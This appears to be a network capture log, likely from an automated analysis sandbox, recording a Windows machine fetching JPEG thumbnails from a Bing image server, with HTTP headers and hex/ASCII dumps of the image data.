{"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	49754	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:27 UTC	375	OUT	GET /th?id=OADD2.10239399109664_12R6JVR4SJZQSTHCV&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-27 10:14:28 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 634317 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 812C65198339492794E998D52ECF2D7E Ref B: EWR30EDGE1612 Ref C: 2024-11-27T10:14:27Z Date: Wed, 27 Nov 2024 10:14:27 GMT Connection: close
2024-11-27 10:14:28 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 15 70 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 39 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 34 3a 30 38 3a 30 36 20 30 39 3a 33 38 3a 30 35 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``pExifMM*bj(1r2i``Adobe Photoshop 25.9 (Windows)2024:08:06 09:38:058
2024-11-27 10:14:28 UTC	16384	IN	Data Raw: bc 8a bb 76 fa 52 78 ef 6b ef 3b 5e c7 74 30 d0 a6 fd dd df 99 cf 78 9b c3 d6 7a dc 68 da 87 97 67 79 6e 8b 2a 5c 43 f3 6f fc 0b 7c df 4e 2b 8c bc be 9f 4b d6 16 c7 50 b4 92 58 f7 ff 00 a3 dc 43 bb 6c ca 3a 1f f6 6b d0 bc 45 68 be 5e d6 9e 0b 7b a5 ff 00 5c e9 f3 79 cb 5c 27 8b 2f e7 d2 35 28 6d ef 2d 27 f2 e5 db ff 00 5c b6 d7 a5 87 fd f4 3d 9b 5c d6 5a 2b d9 fc 99 e7 66 34 61 07 ce 97 2b d3 55 d7 d7 fc cb 91 bd a4 b2 24 d7 10 6d db bb 63 a7 cb f3 74 e4 7f 7a 92 c6 26 82 ea ee f3 fb 4a 46 b5 8a 1d de 4f 96 ca c9 df 35 52 de f2 3d 5a 0d ab e4 5c 2e ff 00 be ef e9 ef 4f 87 51 fb 64 ff 00 67 93 cb f3 2d e5 68 bf bb be b8 5c 6a a5 28 da dd d7 65 f3 39 1f 2b 6a ff 00 22 e5 c4 12 dc 68 68 b0 f9 6b 37 fa d8 5d 3f bd f7 b8 e6 b0 f4 9b c9 ef 6e b6 fd 82 08 99 b7 Data Ascii: vRxk;^t0xzhgyn*\Co\|N+KPXCl:kEh^{\y\'/5(m-'\=\Z+f4a+U$mctz&JFO5R=Z\.OQdg-h\j(e9+j"hhk7]?n
2024-11-27 10:14:28 UTC	16384	IN	Data Raw: 3e fd af 25 6f 53 56 6b cb 69 a0 fb 0e a5 fe b3 7a ff 00 ae 76 6f 9b 6e 7e f7 a7 a5 66 ea d6 92 e9 da 6c d3 5a f9 fe 5c ff 00 eb b7 cf f2 ed 3e ff 00 ec f6 a9 ee 35 1f 3f 46 49 ae 2d 3e 6d 8b f3 a2 7f ec a6 a9 78 a1 ef 1e d6 e2 6d 37 f7 b2 5d 43 b5 d3 ef 2b b0 c7 af f1 57 46 12 35 23 52 30 7a 45 bd 53 7a 5e e4 4a 16 bb b6 b6 f9 8b 70 22 7b 1f b7 6a 1f 35 bd ac df 3e cd d1 32 30 fb 8c 54 e6 aa e9 7e 29 8a 5b af 2e ea 4f dc ef 68 a1 99 11 57 e5 1f fb 37 b5 65 f8 4e e3 51 b3 ba 89 af a4 91 a4 bc f3 17 63 a3 2f 46 f7 e1 b3 5b de 26 b3 6b ad 29 ed e6 f3 16 4b 57 dd 6f 32 7c dd 7f f4 35 c5 7a 55 a9 d1 a7 5b d8 d6 f7 93 d9 a7 b2 eb 65 eb bf 73 28 ca 53 8b 9c 55 99 34 77 f6 6f a6 db b2 cf 1d c2 ae e5 9b 66 df 91 8f af f7 6a 39 0b 4b 3e e8 7c fb 85 b7 89 97 63 ff Data Ascii: >%oSVkizvon~flZ\>5?FI->mxm7]C+WF5#R0zESz^Jp"{j5>20T~)[.OhW7eNQc/F[&k)KWo2\|5zU[es(SU4wofj9K>\|c
2024-11-27 10:14:28 UTC	16384	IN	Data Raw: 1e ba de b3 49 f6 06 89 d9 5f ed 68 db 7f ef b4 dc 2a a3 88 a7 27 65 25 72 65 46 a2 57 71 76 f4 3a f6 0c b4 df 9b cc db 55 74 fd 4e 2b fb 5f b4 59 cf 6b 71 0b 7f cb 68 9f 72 fe 95 2b 5c ca bf dc ad 35 25 58 99 bf bd 4d f9 bf 8a a3 f3 e4 fb bf bb a1 6e 25 6f bd e5 d0 17 44 8a 7f 79 44 9b a9 be 7f f1 79 7b aa 36 9f fe 99 d1 7b 8f 71 f8 dd 26 ea 5f bd f7 a3 db fe e5 46 d3 ed f9 bc ba 74 72 7f d3 4a a6 1a 77 17 fe d9 ee a1 bf bb 43 14 5f f7 a9 19 e3 59 36 f9 9f 35 48 c2 42 be 5f cb 4e f9 4f de 92 88 f6 ff 00 cf 4a 74 91 ee 8f e5 a9 e6 d0 7c a3 7e f4 7b a9 18 ff 00 15 2a c1 fb ca 1a 2d df 33 51 74 c1 21 19 7f 79 ba 97 1f de a6 b2 7f df 34 bb 3f 85 7e f5 26 2b 30 90 7f 15 2f 4a 6f 97 fc 2d 42 ee f3 3f dd a6 16 63 9b fb b4 d6 1b b6 6d a3 0f ff 00 02 a5 54 66 a5 Data Ascii: I_h'e%reFWqv:UtN+_Ykqhr+\5%XMn%oDyDy{6{q&_FtrJwC_Y65HB_NOJt\|~{-3Qt!y4?~&+0/Jo-B?cmTf
2024-11-27 10:14:28 UTC	16384	IN	Data Raw: d2 ba 3f ee a5 86 3e 1a 3f 2d db ef 71 fc 07 e5 cd 4d e2 ab 68 25 f8 79 a7 4d 75 69 f6 29 ad 5f 6d c2 26 df b5 3c 61 5d 15 9f fe 07 ee 71 59 e3 28 d0 c4 63 62 9d a2 f9 b9 5a 8a 57 d1 35 16 d5 93 69 db 4d 3f e0 dd 37 3f 66 e4 bb 7f c3 94 fc 3b 37 8b 34 7d 0e 69 23 fb 5b 5c 44 eb 12 7c 91 b2 cc bb 78 11 b2 1d df 28 fa ab 0a d4 f1 85 ed b2 f8 76 1f b1 db c1 67 aa 5f da 5b b4 cf 70 8c d2 cc a7 f8 53 d3 3d 4f e7 59 df 06 f5 0d 15 ee ed 16 fa 48 2d e6 b5 b7 65 49 bc b6 55 79 0b 7f 1e de 5f fd 9f 4a 67 8d 3c 23 79 7b e2 0d 3f cc d7 63 ba 6f 35 57 63 bf cb 32 ff 00 1b 7f b1 fe eb 75 f6 ae ba ce 82 cd 9d 3c 52 f6 6e 37 95 d2 6b 9b ad ac ae 9a d1 6e fa f6 1c 64 dd 1b c7 5b e8 74 1e 3a d2 59 a4 d2 f5 49 23 f3 5a df 4e db 0d da 3f 95 14 2c 8d b9 97 9f f7 f1 83 d7 a8 Data Ascii: ?>?-qMh%yMui)_m&<a]qY(cbZW5iM?7?f;74}i#[\D\|x(vg_[pS=OYH-eIUy_Jg<#y{?co5Wc2u<Rn7knd[t:YI#ZN?,
2024-11-27 10:14:28 UTC	16384	IN	Data Raw: da f6 4b 7d 1e 69 23 6f e2 79 a1 9f c8 64 50 bc 75 fb df ee 9f c2 96 eb 47 f3 e4 69 23 92 49 5a 27 fd f4 3e 7a af 45 dc 4f f4 f9 be 95 e3 55 94 61 52 52 ae dc 25 2b eb 64 95 af a7 93 7e 6d 1d 6e 7e ea 51 2a 46 25 b5 be 79 2d e3 8f cc d9 f7 3c 85 6d 8a 7a b7 15 06 9e f0 36 95 6f 67 35 df fa 2c 1f 32 6f 76 f9 24 dd b7 fe 03 9c d5 9d 72 09 f4 b9 fc 9b 59 ee ad e1 df b5 d2 ef 6b 7c db be e7 e0 a6 a8 b5 f5 e5 bd dc cd 34 76 bb be 55 de 89 f2 ee fc 33 5d 94 e6 b1 14 d4 a8 f5 eb 7e df 2f 33 19 49 ad 3a 0d d7 af 2f b4 e8 d2 ea 38 e0 56 57 f9 1f fb f8 5d dc b6 7a d5 1d 3f 5d 9d b6 59 ad 85 ad d2 dc 26 d7 74 db f3 e5 b7 ed 7e fc 35 49 75 3d cc b6 af 24 36 9b 63 95 ff 00 7c fb f7 2b b7 b7 f7 7e f5 61 de 3c b6 ba 8c 32 2b c7 14 9f df 4f 99 5f b7 6a f4 70 d8 58 4e 9f Data Ascii: K}i#oydPuGi#IZ'>zEOUaRR%+d~mn~Q*F%y-<mz6og5,2ov$rYk\|4vU3]~/3I:/8VW]z?]Y&t~5Iu=$6c\|+~a<2+O_jpXN
2024-11-27 10:14:28 UTC	16384	IN	Data Raw: 2d 26 c7 fb 36 7b 55 6b bf b4 a2 4c 8c bf 31 fb cd b8 73 fc 5d 6b b6 f8 a7 a9 4f a5 68 f6 f6 2d 77 3f 97 15 de df 9d fc a9 ed 6e 42 f0 cb b0 7e f1 76 b5 4d 1e 8b 67 17 88 2c 66 d5 2e ee 95 a5 db 22 5e 7d aa 3f 9d 93 fe 59 f9 7f c0 a3 df f3 ae 6f e2 b6 b7 a8 58 5a ea 3a 3d f7 9f aa 5a b5 a7 9b 14 c9 03 32 d9 b0 fb ad dc a1 ec 4e 76 d7 9b 4e b4 33 8c c2 85 a2 bd d5 76 b6 bd dd b4 6e fb 5f 66 d3 e9 e4 74 d3 a7 c9 4e a7 33 fe af b1 d6 e8 fa f4 5a df 88 2e 34 18 e3 fb 55 8d aa 6e ff 00 8f ad cc ed fe cb 70 fc d4 5f 62 d0 d7 4a 7f 08 da db a2 c2 de 67 d9 9d 11 7c d8 5b ef 67 7f 5d df ef 7d 2b 82 f0 5c 3a 7e 8d a6 da 78 a1 b5 37 5b eb a8 7c ab bf 36 7f 97 e7 6c 89 17 23 3f 2a fe 0d d8 e6 ae 78 bd bf b3 3c 54 91 c3 71 74 d6 3a a5 8a ac db d3 6b 3b 37 39 55 f4 6e Data Ascii: -&6{UkL1s]kOh-w?nB~vMg,f."^}?YoXZ:=Z2NvN3vn_ftN3Z.4Unp_bJg\|[g]}+\:~x7[\|6l#?*x<Tqt:k;79Un
2024-11-27 10:14:28 UTC	16067	IN	Data Raw: b7 af db 91 13 76 c9 87 dd 1d f7 67 3d fe e9 ac 6d 5b c3 6d 71 e2 6d 7a d6 f9 2d 1b 52 bc bb 5f b3 dc 5c a7 fc b3 48 fe 42 a8 ad fc 4c aa 73 f9 83 5d ad d5 8d a5 df 88 26 58 ff 00 75 a8 35 a3 2c 2e 8e de 44 df 2f ee d8 ff 00 7c fd e5 cf fb 35 ca 6b d6 13 db 6b 93 6a 4d 77 25 c4 d6 b6 ec be 4c c8 bb be 4f ba 71 fd ec d7 46 5d 8a 9a 8a 85 3a 9c ad 47 48 db ab 7c ca cd 74 e9 ae 8d 25 73 6a 91 6e 3b 9a 53 58 40 96 b6 97 17 50 79 b7 56 b3 46 be 4b ce b1 6f 91 e3 77 65 54 6e 1b e6 da 7f dd ab 3e 24 ba 5d 47 c3 0f 0d d4 12 2c 29 ab c1 f6 1f 27 e5 d8 c1 4e ef 97 fb bf 4c 7a d7 9a 6b 92 cb 75 f0 e5 ed f4 bb b9 de de ce ee 4b 99 b7 a2 b6 fc af de 3f 4a d3 f8 6f a9 ea 1a 25 ac 2d a8 47 05 af db 1d 57 ca 87 ef 79 61 78 6d bf de e5 bb f4 ae e9 64 b5 63 49 57 e7 e6 9c Data Ascii: vg=m[mqmz-R_\HBLs]&Xu5,.D/\|5kkjMw%LOqF]:GH\|t%sjn;SX@PyVFKoweTn>$]G,)'NLzkuK?Jo%-GWyaxmdcIW
2024-11-27 10:14:28 UTC	16384	IN	Data Raw: 3c df 9f fd 6c d8 ff 00 74 7f 3a c3 b8 78 1a 48 6e 26 9f 76 e7 dc 89 0a 6d 5d a3 a7 6a 54 26 a7 07 0e 5f 7b bf 5f 40 92 f7 af 7d 09 3c 45 79 1d c7 ee ee 3e d5 14 db 3c dd f6 ff 00 37 b7 cf 57 bc 3b 72 b7 1a 6d f4 96 ff 00 bd 55 87 ca d9 b1 bf 7c df af 4a c5 92 f2 f3 cf 9a de 3f 33 c9 9e 6d b0 bb fd dd c7 e6 fb d5 7b 4f 78 34 48 12 66 fd ec 71 6e 57 d9 ef fa 7b d6 98 8a 29 61 95 28 ab cb a2 df b5 c5 17 79 df a1 d5 c3 a1 2b 78 7e e2 e1 b5 2f f4 89 51 65 48 5e 0d bf bc 4c 6e 55 eb fd e6 c7 f9 c4 1e 15 f1 3d 8e 97 1b df 34 ff 00 68 b8 58 76 a6 c4 f9 b7 6d 70 3a fe 55 4f 5c f1 0c bf f0 8a a5 c4 70 6a ab 33 4c ab 6f 71 b3 6a ba ed f9 b3 fd f6 c7 6f c7 ad 71 7a 6c ab 06 c9 17 cf f2 d7 ee 6f 4d ad f7 ab 83 03 92 d5 c7 61 ea fd 71 bb 37 a2 d3 a5 b4 ba 5b 6d e6 74 Data Ascii: <lt:xHn&vm]jT&_{_@}<Ey><7W;rmU\|J?3m{Ox4HfqnW{)a(y+x~/QeH^LnU=4hXvmp:UO\pj3LoqjoqzloMaq7[mt
2024-11-27 10:14:28 UTC	16384	IN	Data Raw: ed 8e cd 16 d7 50 0e 03 71 d7 fd 95 fb d5 4f 54 d1 e5 d6 74 df 27 fe 5f ac ed fc bb 1d 8e cb e7 7c d9 c3 67 bf ff 00 58 55 cd 06 e2 29 64 86 ce de 78 da d5 bc b6 b8 7d f2 6e ff 00 69 77 e3 ee fd 45 6d d8 cf fd 9d ac b3 32 6e 5b 74 58 b6 7c cd ff 00 d9 32 86 e9 dc 76 35 f3 d5 31 32 c1 5b d8 c6 d3 8e b7 d6 ef 5e a9 fd cd 76 67 6d 0a 5c ea ed 1e 67 0e ae da 76 8f 71 63 0c 9f 67 b8 96 68 f7 fc ed e6 a3 0e 72 2b ab f0 6e b9 05 e5 8a 69 b2 4f 3c b3 2d a4 8a f3 6f 66 d9 bd bf 8f fb b8 db ef 5d a7 8d f4 3d 33 c5 d1 b6 d8 e0 fb 47 cb b2 e6 54 db 3f 2b d3 76 3e 6f f8 15 78 fd e6 9d ab f8 57 52 9a 16 8e 48 a6 fd e6 cb 8d 9b 5a 65 fe 47 e9 5e ce 13 19 80 cf f0 f2 a6 e3 ec eb df 9a cd f5 b5 ae 9d b5 5e 46 75 29 ce 9c 93 b5 e3 dc ed ee 2e ed 75 4b a4 be 9a 08 ef 6d ed Data Ascii: PqOTt'_\|gXU)dx}niwEm2n[tX\|2v512[^vgm\gvqcghr+niO<-of]=3GT?+v>oxWRHZeG^^Fu).uKm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	49755	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:27 UTC	346	OUT	GET /th?id=OADD2.10239399109665_1344PV668L57B53FJ&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-27 10:14:28 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 685668 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: EC7DF712BF2C4363913D66CD6E14F885 Ref B: EWR30EDGE0106 Ref C: 2024-11-27T10:14:27Z Date: Wed, 27 Nov 2024 10:14:27 GMT Connection: close
2024-11-27 10:14:28 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 1a 1c 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 39 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 34 3a 30 38 3a 30 36 20 30 39 3a 33 38 3a 34 31 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 04 38 a0 03 00 04 00 00 00 01 00 00 07 80 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``ExifMM*bj(1r2i``Adobe Photoshop 25.9 (Windows)2024:08:06 09:38:418
2024-11-27 10:14:28 UTC	16384	IN	Data Raw: fe 85 5a 45 a7 2b 5c 21 45 ca c4 b7 7a ac 16 ff 00 7f f7 93 c7 ff 00 2c e2 a4 d2 b5 08 35 08 76 7e e6 39 e3 ff 00 97 69 7e 7f 92 b1 e7 82 37 9a 44 f3 bf d5 ff 00 ac ff 00 80 ff 00 76 a4 b1 59 13 4f fb 6a 43 34 72 47 27 ee e4 fe 3f f6 ab 5a b8 4a 2e 1a 3f 78 ef a4 bd 9c 92 be e6 bc 97 91 db ea 1e 45 d7 93 6f 1f fc b3 92 5f f9 69 56 bf 76 f0 fc f0 f9 9e 67 ef 3c ca a5 03 c7 71 36 fb df f5 7e 5f ef 3f b9 59 71 df 5a 45 34 89 a7 4d fe 8b ff 00 3c ff 00 db af 3a 54 69 df dd 7a a3 d0 f6 f1 a5 69 b7 ee fe 27 51 05 9a 24 df b8 ff 00 96 94 5a e9 f3 c5 37 cf 0f ee fc ba e5 75 5d 7a ed 7c b4 48 66 b7 8e 4f f5 72 7f cf 3f f7 ab 26 fa f3 ed 13 49 7b 6b ac 4d 71 e5 ff 00 ac 8f cd ff 00 eb d6 1c d2 5a 2d 2e 6b fd a5 49 bf 71 5f e6 7a 34 1a 7f fa 24 88 9e 4c 7e 5f ef 24 Data Ascii: ZE+\!Ez,5v~9i~7DvYOjC4rG'?ZJ.?xEo_iVvg<q6~_?YqZE4M<:Tizi'Q$Z7u]z\|HfOr?&I{kMqZ-.kIq_z4$L~_$
2024-11-27 10:14:28 UTC	16384	IN	Data Raw: 1a 85 b2 69 de 75 ec 71 fe f3 fb 8f f2 d1 56 bc 47 77 f6 79 a3 d4 74 bf 26 49 e3 df e5 c9 17 fb 9b b6 b5 15 c1 4f eb 15 e0 a5 4e 31 4b cf 72 ad e7 f8 1c 07 87 2f be c9 35 cc f3 f9 5e 44 92 79 91 fe f7 e7 8f 77 fb 35 af ae 6a b6 96 50 c6 f7 53 4d 24 92 7f cf 2a 77 88 fe 18 4e ff 00 e9 5a 45 e5 a4 9f f4 ce e7 e4 ff 00 c7 ab 9c f1 8f 87 b5 d8 b5 68 e0 fb 1f 99 75 24 7e 5f fa 37 dc af d1 e1 fd 9f 8b ac a5 ed 2d dd 6d d8 f0 6b 52 c6 e1 69 b8 f2 76 b3 3a 3b 5f 16 68 57 70 ec bd fd dc 91 ff 00 cb 39 65 f3 92 b7 b4 36 8e e2 ee 44 b5 d4 bc c8 fc bf dd ff 00 7e 3f f6 6b c8 e3 d3 35 a8 ae e4 d3 9f 4d bb f3 23 ff 00 59 6d 5e 9b a6 b5 da 5a 5b 24 fa 6f ef ed ff 00 d5 fe eb fd 62 57 9b 9c 65 f8 7c 34 57 d5 a5 7e 6f 35 a1 d1 80 c4 54 ac 9a a8 ac d1 af 27 97 69 a8 46 89 Data Ascii: iuqVGwyt&ION1Kr/5^Dyw5jPSM$*wNZEhu$~_7-mkRiv:;_hWp9e6D~?k5M#Ym^Z[$obWe\|4W~o5T'iF
2024-11-27 10:14:28 UTC	16384	IN	Data Raw: fe af f7 bb d2 4f ee b4 6d 5c fe a5 ad 47 e2 0f b4 dd 5a c3 36 9d 75 7b 73 e5 c9 e6 fc f0 f9 bf ef 75 4a d8 f1 c6 af 61 ff 00 12 db a9 f4 d8 75 18 ee 3f 77 f6 29 62 f2 5f e5 ff 00 66 b9 7f 0c c5 e1 ad 33 c6 f7 da 5e a3 a3 dd c7 75 24 9f e8 d6 57 32 ba 7d 9f 77 f1 6e 4a d3 03 18 ba 53 c6 ba 6d 4e d7 b2 b7 d9 76 7a 5f f1 6a de 65 54 51 bc 61 7d 2e 6f f8 9b cb d1 f4 f8 f4 b7 bc bb bd d5 6e 2c 9f cc f3 7f d4 fc bf ec 55 7f 85 7f 67 96 d7 cf 9f ec 9f 6a ff 00 96 71 cb fe a6 3d bf dd a3 e2 a5 8e 93 a8 68 7f d9 69 a9 5d ff 00 6c 69 d2 7d a2 da 3b 9f 9f e4 ff 00 62 4d b5 57 e1 e7 86 6e de d6 c5 27 87 49 b8 ff 00 9f d8 fe d6 8f 34 9f ef ab fc 94 df d5 e7 92 ca 75 64 e3 26 f5 ba b6 dd bc 9f 43 47 c8 ab af 23 67 5c f1 b7 da 35 09 34 7b a9 a1 d2 af b4 eb 94 93 cb b9 Data Ascii: Om\GZ6u{suJau?w)b_f3^u$W2}wnJSmNvz_jeTQa}.on,Ugjq=hi]li};bMWn'I4ud&CG#g\54{
2024-11-27 10:14:28 UTC	16384	IN	Data Raw: 4d 6a aa b2 95 4e 6b 68 50 f8 43 7d a6 e9 36 92 5d 59 4d 34 93 de c8 ff 00 6d 8e 5f bf 1b ff 00 0f cd ed 54 2f bc 4d 7f 69 35 cc fa 3d 9f 99 fe 92 f2 49 fb dd 9f f0 2a e7 fc 01 e1 ab bd 43 cb ba b5 d7 a1 b7 93 cb fd e4 72 c4 fb 37 ff 00 73 ad 77 57 11 6a de 1f f8 7b 73 a7 5d 59 fe e3 e7 8e db f8 fc cd cf f3 ee ff 00 66 bb 73 1a 18 2a 19 83 52 6a a5 49 b4 9a 77 db f5 b6 c2 8d 7a b3 a2 9a d1 25 d3 a9 5e 4f 18 cf aa da 7d b6 7f 3a de 4b 7b 6f 32 49 3f 8e 3d bf c6 db 6b 4b c1 6d a9 5d 6a d1 ea f0 69 b6 92 69 b2 6f 93 ed ba 94 5f f1 f0 db 3f e5 96 ee 6b 37 f6 75 d3 e3 b7 b4 be 92 49 7e cf 25 ed cb c7 24 77 3f 3a 48 ab f7 57 67 f7 6b 53 e2 06 a1 ae e8 9e 19 fe ce fe cd bb d4 67 92 e7 cb 8f ca 87 ce 48 ff 00 ad 78 78 c8 d1 58 f9 e5 b8 58 a4 af 6d 5d ac 9e f6 5d Data Ascii: MjNkhPC}6]YM4m_T/Mi5=ICr7swWj{s]YfsRjIwz%^O}:K{o2I?=kKm]jiio_?k7uI~%$w?:HWgkSgHxxXXm]]
2024-11-27 10:14:28 UTC	16384	IN	Data Raw: c3 1f d9 7c ef 2f fd 64 72 7f cf 4f f6 6b 6c b6 8c e7 88 f6 58 84 54 9d e3 74 c8 34 af 14 7d 9e 1f 9e 6f de 7f d7 54 4a 7d f5 e4 7a 87 88 6c 5e 08 7c cb af fa 76 97 fd 67 fb dd ab 87 b5 69 ee 35 6d 9f f3 d3 fd 5f fb f5 e9 3e 0b b6 fe c7 87 63 ff 00 af 92 4f f9 65 2f 9c 95 ee 66 34 28 61 13 a9 15 ef b5 b1 e6 61 ea 3c 4a e4 7d 19 bd e7 dd da 43 1a 4f 0c d2 49 ff 00 7d f9 74 fd 4b 4a 9e 5f 2e f7 ce 86 3f 2f fd 67 f7 24 4a 66 a5 79 3c be 5e c8 66 93 fe 7a 49 15 55 8e fb 7c de 43 c3 e6 7f d7 5f 91 ff 00 dd af 8e 84 2b 2b 4a 2a cf a9 eb 17 fe dd f6 4d 42 38 1f fd 45 c4 75 5e fa ce ed ed 24 d9 79 0f 97 27 fc f5 97 e7 aa b2 36 9b fe ae 08 66 f2 ff 00 e9 af fc b3 ff 00 be aa 8d f6 bd 1e 9f a8 47 65 3c df bb ff 00 57 fe b5 2b 4c 3e 1a a5 49 2f 63 1d 6d d7 c8 99 49 Data Ascii: \|/drOklXTt4}oTJ}zl^\|vgi5m_>cOe/f4(aa<J}COI}tKJ_.?/g$Jfy<^fzIU\|C_++J*MB8Eu^$y'6fGe<W+L>I/cmI
2024-11-27 10:14:28 UTC	16384	IN	Data Raw: 93 cd 44 78 f7 7f 12 2f f1 57 47 71 f0 b7 c2 da 0e b9 27 91 15 dd cc 77 16 de 64 71 dc cb f3 da 5c 27 f1 ee 5f bc 86 b9 ef 11 eb da 15 bf 8c a4 d6 ed 7e c9 1c 92 5b 25 bf ee a2 d9 0d 7d 95 1a d9 66 3a 8c a9 65 f4 b9 9b 57 e6 71 fc 2d f7 9c d5 b9 a0 d5 49 74 ec ce d7 c6 b2 c1 e2 5f 0f 49 e1 bd 3e 6f f8 99 59 47 e7 c7 fc 09 71 f3 d7 01 a3 b5 ff 00 86 b5 68 ed 75 ed 1e ee dd 2d e3 f3 24 8e 28 b7 bf fb 2d 50 6b 1e 2c 83 f7 77 af 0c 3f f7 f7 7f fe 3b 51 78 57 c5 57 7a 9f 8b 2d a0 d3 bf 79 ff 00 2d 3e cd e5 79 c9 f2 ff 00 75 6a b0 79 2e 2f 07 81 a9 45 c5 3a 5a b6 9d d5 9f 5d 53 fd 0e 6a 98 a5 3a aa 49 58 f4 bf 88 0d 77 e1 cf 0c d8 eb d6 b0 fd a2 0b 99 12 48 ef 62 f9 2e 7e 6f e0 f9 38 ae 5f c7 fa 2f 8a 2e ed 2d b5 44 f0 de a1 27 ee fc cb 98 e2 b4 ff 00 57 fe d3 Data Ascii: Dx/WGq'wdq\'_~[%}f:eWq-It_I>oYGqhu-$(-Pk,w?;QxWWz-y->yujy./E:Z]Sj:IXwHb.~o8_/.-D'W
2024-11-27 10:14:28 UTC	16065	IN	Data Raw: a3 bd d3 3b 25 55 ba ae 36 b9 d3 69 7a 75 df 85 f5 6b d4 92 1f b3 41 7b 1a 47 1f ef 77 a4 89 b3 fb d5 e4 f3 c1 ae f8 83 c4 da 96 89 a2 d9 ea 12 49 f3 c7 1d 97 9b fd df fc 77 6d 7a 5f 83 75 fb 4f 12 99 2c ae 7c ab cb 58 f7 c9 e5 de fc 9e 67 f0 fc cb 57 e4 b3 d3 34 1d 72 5b ad 1f fe 24 bf da 31 a4 92 79 71 3e c9 3f e0 55 d5 84 cd b1 19 7d 6a df 58 87 36 21 a5 6b ad 34 6b 56 b7 d8 52 a2 f1 0a 12 7f 0d cf 3d f0 24 b3 f8 6a 2b ed 3b 5e d3 66 8e 49 2c 92 48 ed ae 7f bf fe ef f1 2d 74 9e 15 b9 bb d1 cc 97 5a dd e4 36 53 de ff 00 c7 b5 b4 b2 f9 3f f8 f7 f0 56 bf 8d 60 b4 f1 3e 93 6d f6 ab c9 7c cd 36 e5 24 8e 49 37 a4 de 53 7f d3 5f ee d7 19 f1 0b cf d2 a6 97 cf 86 2b 6b 5f 31 3e cd 24 b2 bc c9 27 fb 35 dd 46 b5 